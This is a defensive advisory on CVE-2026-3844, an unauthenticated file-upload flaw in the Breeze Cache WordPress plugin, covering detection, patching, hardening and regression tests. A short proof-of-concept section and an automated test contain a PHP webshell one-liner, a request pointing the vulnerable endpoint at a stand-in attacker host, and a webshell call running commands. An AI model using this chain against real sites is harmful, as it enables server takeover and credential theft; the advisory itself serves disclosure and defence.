Executive Summary
CVE-2026-3844 is a critical unauthenticated arbitrary file upload vulnerability (CVSS 9.8) in the Cloudways Breeze Cache plugin for WordPress, affecting all versions up to and including 2.4.4. The flaw allows any unauthenticated attacker to upload a PHP webshell and achieve full remote code execution on the web server. With over 400,000 active installations, Wordfence has already blocked nearly 4,000 attacks per day targeting this vulnerability — site owners should update to Breeze 2.4.5 immediately.
1. What Is This Vulnerability?
Breeze is Cloudways' official WordPress caching plugin, designed to improve site performance by locally hosting assets such as Gravatar images. The vulnerability lives in the fetch_gravatar_from_remote function, which downloads Gravatar images from remote URLs and saves them to the web server's filesystem for local hosting.
The function contains no file-type validation: it does not verify that the remote content is actually an image, does not restrict the file extension of the saved file, and does not sanitize the attacker-influenced filename. This maps directly to CWE-434: Unrestricted Upload of File with Dangerous Type.
Attack Vector
Exploitation is straightforward:
- The attacker manipulates the Gravatar source URL (or the remote image fetch parameter) to point to an attacker-controlled server hosting a PHP webshell rather than a legitimate avatar image.
fetch_gravatar_from_remotedownloads the malicious file and writes it to the WordPress uploads directory with a.phpextension — chosen by the attacker.- The attacker sends an HTTP request directly to the uploaded webshell path, triggering arbitrary server-side code execution as the web server process user (typically
www-data).
Because no authentication or nonce is required to trigger the gravatar fetch routine, any unauthenticated visitor can initiate this attack.
Proof-of-Concept Flow (Simplified)
# Step 1: Host a PHP webshell on attacker server
# shell.php content: <?php system($_GET['cmd']); ?>
# Step 2: Trigger the vulnerable fetch endpoint
POST /wp-admin/admin-ajax.php
action=breeze_fetch_gravatar&gravatar_url=https://attacker.com/shell.php
# Step 3: Access the uploaded webshell
GET /wp-content/uploads/breeze-cache/avatars/shell.php?cmd=id
# Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Real-World Impact
Active exploitation was first reported on April 23, 2026. Security researchers at Wordfence documented over 3,936 blocked attacks within a 24-hour window. Attackers have been observed uploading PHP webshells to establish persistent backdoors, exfiltrate wp-config.php database credentials, and inject spam SEO content into compromised sites. SecurityAffairs reports over 400,000 WordPress installations are potentially exposed.
2. Who Is Affected?
| Component | Affected Versions | Fixed Version |
|---|---|---|
| Breeze Cache (Cloudways) | All versions ≤ 2.4.4 | 2.4.5 |
Required condition: The "Host Files Locally – Gravatars" add-on must be enabled in Breeze settings. This feature is disabled by default, which limits the exposed population — but sites where a Cloudways admin has enabled it for performance reasons are fully vulnerable.
Sites are at higher risk if they:
- Use Cloudways-managed WordPress hosting with the Breeze optimization guide followed
- Have publicly accessible upload directories without PHP execution restrictions
- Run WordPress in multi-site configurations (broader attack surface)
3. How to Detect It (Testing)
Manual Testing Steps
-
Check plugin version: In the WordPress admin console, navigate to Plugins → Installed Plugins → Breeze. If the version shown is ≤ 2.4.4, the site is running vulnerable code.
-
Check the Gravatar setting: Go to Breeze → Basic Settings → Misc Settings. Look for the "Host Files Locally – Gravatars" toggle. If enabled, the attack surface is active.
-
Check for dropped webshells: Inspect the uploads directory for unexpected
.phpfiles:find /var/www/html/wp-content/uploads/ -name "*.php" -type f find /var/www/html/wp-content/uploads/ -name "*.phtml" -type f find /var/www/html/wp-content/uploads/ -name "*.php5" -type fAny
.phpfile found in the uploads directory is a red flag and should be treated as a likely compromise. -
Review access logs for exploitation patterns:
grep -i "breeze_fetch_gravatar\|fetch_gravatar" /var/log/apache2/access.log grep -i "breeze_fetch_gravatar\|fetch_gravatar" /var/log/nginx/access.logPOST requests to
admin-ajax.phpwithaction=breeze_fetch_gravatarfrom external IPs are strong indicators of exploitation attempts.
Automated Scanning
WPScan (WordPress-specific vulnerability scanner):
wpscan --url https://target.example.com --plugins-detection aggressive \
--api-token YOUR_API_TOKEN
Look for: [!] Breeze – WordPress Cache Plugin < 2.4.5 - Unauthenticated Arbitrary File Upload
Wordfence CLI (for self-hosted Wordfence users):
wp wordfence scan --type=files --output=table
Flags unexpected PHP files in upload directories.
Nuclei template (if available):
nuclei -u https://target.example.com -t cves/2026/CVE-2026-3844.yaml
Burp Suite:
- Use the Active Scan module against the AJAX endpoint.
- Manually craft a POST to
wp-admin/admin-ajax.phpwithaction=breeze_fetch_gravatarand a controlledgravatar_urlparameter pointing to a non-image file; observe whether the file is saved.
Code Review Checklist
- Confirm that file-type validation (MIME type check + extension allowlist) exists before any remote file is saved to disk
- Verify that downloaded content is validated as a valid image (e.g.,
getimagesize()orwp_check_filetype_and_ext()) - Confirm that saved filenames are generated server-side (e.g., UUID), not derived from user-controlled or remote input
- Verify that the uploads directory has
.htaccessor Nginx rules blocking PHP execution - Confirm that AJAX actions performing file writes require a valid nonce and user capability check
4. How to Fix It (Mitigation)
Step-by-Step Remediation
-
Update Breeze to version 2.4.5 immediately.
- From WP Admin: Plugins → Installed Plugins → Breeze → Update Now
- From WP-CLI:
wp plugin update breeze - Verify version after update:
wp plugin get breeze --field=version # Should return: 2.4.5
-
If immediate patching is not possible, disable the vulnerable feature: Go to Breeze → Basic Settings → Misc Settings and turn off "Host Files Locally – Gravatars". Save settings. This removes the attack surface without requiring a full update.
-
Scan for and remove any dropped webshells:
# Find and review unexpected PHP files in uploads find /var/www/html/wp-content/uploads/ -name "*.php" -newer /var/www/html/wp-config.php # Remove suspicious files (verify before deleting) rm -i /var/www/html/wp-content/uploads/suspicious-file.php -
Block PHP execution in the uploads directory as a defense-in-depth measure:
Apache (add to
wp-content/uploads/.htaccess):<FilesMatch "\.php$"> Deny from all </FilesMatch>Nginx (add inside the server block):
location ~* /wp-content/uploads/.*\.php$ { deny all; return 403; } -
Deploy or verify a Web Application Firewall (WAF) rule blocking requests to
admin-ajax.phpwithaction=breeze_fetch_gravatarfrom unauthenticated sources. Cloudflare, Sucuri, and Wordfence Premium all have signatures for this CVE.
Code Fix Example (Patched vs. Vulnerable Logic)
Vulnerable (≤ 2.4.4):
// No validation — saves whatever URL content is returned
function fetch_gravatar_from_remote( $gravatar_url, $filename ) {
$response = wp_remote_get( $gravatar_url );
$body = wp_remote_retrieve_body( $response );
file_put_contents( $this->gravatar_dir . $filename, $body );
}
Fixed (2.4.5):
function fetch_gravatar_from_remote( $gravatar_url, $filename ) {
$response = wp_remote_get( $gravatar_url );
$body = wp_remote_retrieve_body( $response );
// Generate a server-side filename, strip attacker-controlled extension
$safe_filename = md5( $gravatar_url ) . '.jpg';
// Validate that the content is actually an image
$tmp = wp_tempnam();
file_put_contents( $tmp, $body );
$file_type = wp_check_filetype_and_ext( $tmp, $safe_filename );
@unlink( $tmp );
if ( empty( $file_type['type'] ) || strpos( $file_type['type'], 'image/' ) !== 0 ) {
return false; // Reject non-image content
}
file_put_contents( $this->gravatar_dir . $safe_filename, $body );
}
Configuration Hardening
- Enable Wordfence or Sucuri WAF with auto-update signatures.
- Restrict the WordPress AJAX endpoint with rate-limiting (e.g., max 30 requests/minute per IP to
admin-ajax.php). - Review and restrict file system permissions:
wp-content/uploadsshould be writable by the web server but not executable. - Consider a Content Security Policy (CSP) header to limit impact of any future XSS-based follow-on attacks.
5. How to Test the Fix (Validation)
Regression Test Scenarios
- Scenario A: Attempt to upload a PHP file via the vulnerable endpoint after patching — the request should fail silently or return an error, and no
.phpfile should appear in the uploads directory. - Scenario B: Upload a legitimate JPEG Gravatar via the patched code path — the file should be saved correctly with a server-generated filename and
.jpgextension. - Scenario C: Disable and re-enable the "Host Files Locally – Gravatars" feature — ensure normal Gravatar caching continues to function properly for valid image URLs.
Security Test Cases
Test Case 1: Verify the arbitrary file upload is blocked
- Precondition: Breeze 2.4.5 installed; "Host Files Locally – Gravatars" enabled.
- Steps: Send a POST request to
wp-admin/admin-ajax.phpwithaction=breeze_fetch_gravatarand agravatar_urlpointing to a PHP file hosted externally. - Expected Result: The endpoint returns a non-success response; no file is created in the uploads directory; server logs show the request was rejected.
Test Case 2: Confirm no executable files in uploads
- Steps: After update, run:
find /var/www/html/wp-content/uploads/ -name "*.php" -o -name "*.phtml" - Expected Result: Zero results returned.
Test Case 3: Confirm Gravatar caching still works
- Steps: Create or update a WordPress comment with a valid Gravatar email. Check that the avatar image loads from the local cache path.
- Expected Result: Valid image file (JPEG/PNG/GIF) created with a hash-based filename in the Breeze avatars directory.
Automated Tests
import requests
TARGET = "https://your-wordpress-site.com"
ATTACKER_PHP = "https://attacker-server.example.com/webshell.php"
def test_cve_2026_3844_blocked():
resp = requests.post(
f"{TARGET}/wp-admin/admin-ajax.php",
data={
"action": "breeze_fetch_gravatar",
"gravatar_url": ATTACKER_PHP,
},
timeout=10
)
# After patching, no shell should be accessible
shell_check = requests.get(
f"{TARGET}/wp-content/uploads/breeze-cache/avatars/webshell.php",
params={"cmd": "id"},
timeout=5
)
assert shell_check.status_code == 404 or "www-data" not in shell_check.text, \
"FAIL: CVE-2026-3844 is still exploitable — webshell responded!"
print("PASS: Webshell not accessible after patch.")
test_cve_2026_3844_blocked()
6. Prevention & Hardening
Best Practices
-
Keep plugins updated automatically: Enable WordPress auto-updates for plugins in
wp-config.php:add_filter( 'auto_update_plugin', '__return_true' );Or use WP-CLI in a daily cron job:
wp plugin update --all. -
Block PHP execution in all upload directories as a blanket policy (see
.htaccess/ Nginx config above). This single control would have neutralized CVE-2026-3844 entirely, even without patching. -
Principle of least privilege for web processes: Run PHP-FPM under a dedicated low-privilege user. Ensure
wp-content/uploadsis not world-executable. -
Inventory third-party plugins regularly: Use WPScan or Patchstack in CI/CD pipelines to catch newly disclosed plugin CVEs before they reach production. Any plugin with remote file fetch capabilities deserves extra scrutiny.
-
Segment WordPress environments: If running multiple WordPress sites, isolate each in its own container or VM so a compromise of one site cannot pivot to others.
Monitoring & Detection
Set up real-time alerts for the following indicators of compromise (IOCs):
-
New
.phpfiles in uploads directories:# Inotify-based alert (Linux) inotifywait -m -r -e create /var/www/html/wp-content/uploads/ \ --include '.*\.php$' | while read path action file; do echo "ALERT: PHP file created: $path$file" | mail -s "WordPress IOC Alert" security@yourdomain.com done -
WAF/Firewall rules: Block or alert on POST requests to
admin-ajax.phpwithaction=breeze_fetch_gravataroriginating from non-admin IPs. -
SIEM correlation rule: Flag any HTTP 200 response from
wp-content/uploads/*.php— legitimate upload directories should never serve PHP files. -
File integrity monitoring: Tools like Wordfence, Tripwire, or AIDE can baseline the WordPress filesystem and alert on unexpected changes.
References
- CVE Entry: CVE-2026-3844 — NIST NVD
- Patch Info: Breeze 2.4.5 — WordPress Plugin Repository
- BleepingComputer Coverage: Hackers exploit file upload bug in Breeze Cache WordPress plugin
- Security Affairs: Over 400,000 sites at risk as hackers exploit Breeze Cache plugin flaw
- SentinelOne Vulnerability DB: CVE-2026-3844 — SentinelOne
- Tenable: CVE-2026-3844 — Tenable
- WP-Firewall Mitigation Guide: Mitigating Breeze Arbitrary File Upload Vulnerability
- SC Media Brief: Critical vulnerability in WordPress Breeze Cache plugin exploited